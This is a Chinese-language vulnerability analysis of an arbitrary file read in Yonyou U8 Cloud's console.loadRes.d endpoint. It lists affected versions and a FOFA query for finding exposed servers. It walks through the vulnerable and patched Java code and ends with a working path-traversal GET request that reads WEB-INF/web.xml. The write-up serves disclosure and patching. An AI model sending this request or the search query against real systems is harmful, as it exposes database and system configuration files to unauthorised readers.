用友U8 Cloud console.loadRes.d 任意文件读取漏洞


漏洞简介

用友U8 Cloud是用友推出的云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。是基于全新的企业互联网理念设计的云ERP系统,它旨在为企业提供集人财物客产供销于一体的云ERP整体解决方案,推动企业敏经营、轻管理、简IT,助力企业实现高速发展与云化创新。用友U8 Cloud /hrss/dorado/console.loadRes.d 接口处存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

影响版本

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

fofa语法

app="用友-U8-Cloud"

漏洞分析

先看漏洞通告

路径都有了,直接看对应的jar包里的业务实现逻辑

package com.bstek.dorado.admin;

import com.bstek.dorado.DoradoAbout;
import com.bstek.dorado.action.Action;
import com.bstek.dorado.action.impl.CachableFileDownLoadHelper;
import com.bstek.dorado.action.mapping.ActionForward;
import com.bstek.dorado.common.Setting;
import com.bstek.dorado.common.fileloader.FileLoader;
import com.bstek.dorado.common.fileloader.FileLoaderFactory;
import com.bstek.dorado.common.monitor.PerformanceLogger;
import com.bstek.dorado.data.Dataset;
import com.bstek.dorado.module.Module;
import com.bstek.dorado.module.config.ModuleConfig;
import com.bstek.dorado.utils.StringHelper;
import com.bstek.dorado.utils.http.RequestHelper;
import com.bstek.dorado.utils.xml.XmlBuilder;
import com.bstek.dorado.utils.xml.XmlDocument;
import com.bstek.dorado.utils.xml.XmlFactory;
import com.bstek.dorado.view.ViewModel;
import com.bstek.dorado.view.config.ViewModelConfig;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.text.DecimalFormat;
import java.util.Enumeration;
import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.lang.StringUtils;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.context.Context;

public class ConsoleController extends AdminController {
  public static final String CONTENT_TYPE_OCTET_STREAM = "application/octet-stream";

  private static final String PATH_PREFIX = "console";

  public ActionForward doLoadRes(Action action, HttpServletRequest request, HttpServletResponse response) throws Throwable {
    RequestHelper helper = new RequestHelper((ServletRequest)request);
    FileLoader loader = FileLoaderFactory.createResourceLoader();
    String res = helper.getParameter("res");
    loader.setFile("console" + res);
    CachableFileDownLoadHelper.download(loader, request, response, "application/octet-stream", res);
    return null;
  }

继续跟进doDownLoad

private static void doDownLoad(FileLoader loader, HttpServletRequest request, HttpServletResponse response, boolean supportsCompress, String contentType, String fileName) throws Exception {
    long lastModified = loader.getLastModified();
    long cachedLastModified = request.getDateHeader("if-modified-since");
    if (lastModified > 0L && cachedLastModified > 0L && Math.abs(lastModified - cachedLastModified) < 1000L) {
      response.setStatus(304);
    } else {
      if (contentType != null)
        response.setContentType(contentType); 
      if (fileName != null) {
        File file = new File(fileName);
        response.setHeader("content-disposition", "attachment;filename=\"" + file.getName() + "\"");
      } 
      int maxCacheAgeSecond = getMaxCacheAgeSecond();
      if (maxCacheAgeSecond > 0) {
        response.addDateHeader("Expires", (new Date()).getTime() + (maxCacheAgeSecond * 1000));
        response.addHeader("Cache-Control", "Public, max-age=" + maxCacheAgeSecond);
      } 
      response.addDateHeader("Last-Modified", lastModified);
      try {
        InputStream in = loader.getInputStream();
        try {
          if (supportsCompress) {
            ResponseUtil.output(request, response, in);
          } else {
            ResponseUtil.outputNoCompress(request, response, in);
          } 
        } finally {
          in.close();
        } 
      } catch (IOException ex) {}
      Log.debug("Resource Downloaded [" + lastModified + "][" + cachedLastModified + "]: " + loader.getFilePath());
    } 
  }

调用 loader 读取文件后直接响应在body,无任何过滤,造成任意文件读取漏洞。

看下补丁,已经有判断路径是否合法

public class ConsoleController extends AdminController
{
  public static final String CONTENT_TYPE_OCTET_STREAM = "application/octet-stream";
  private static final String PATH_PREFIX = "console";
  public ActionForward doLoadRes(Action action, HttpServletRequest request, HttpServletResponse response)
    throws Throwable
  {
    RequestHelper helper = new RequestHelper(request);

    FileLoader loader = FileLoaderFactory.createResourceLoader();
    String res = helper.getParameter("res");
        String fileAllPath = "console" + res;
        File file = new File(fileAllPath);
        //这里为了避免传../这样的路径 
    if(!file.getCanonicalPath().startsWith(new File("console").getCanonicalPath())){
            throw new IllegalArgumentException("Invalid Parameter res\"" + res + "\"!");
    }
    loader.setFile("console" + res);
    CachableFileDownLoadHelper.download(loader, request, response, "application/octet-stream", res);

    return null;
  }

漏洞复现

GET /hrss/dorado/console.loadRes.d?res=..\\..\\..\\..\\WEB-INF\\web.xml HTTP/1.1
Host: nc.mrxn.net

需要读的文件自行fuzz,不同安装位置不同,这里只是示例

参考

  • https://security.yonyou.com/#/noticeInfo?id=563
  • https://security.yonyou.com/#/patchInfo?identifier=a52c80ca6fac4dc48d38729890c4ae02
  • https://mp.weixin.qq.com/s/AY5p-cF3Hn9De719Q_CeMw

手机扫码阅读

锐捷-EWEB timeout.php 命令注入漏洞

EKing-管理易 FileDownload.ihtm 任意文件读取漏洞

评 论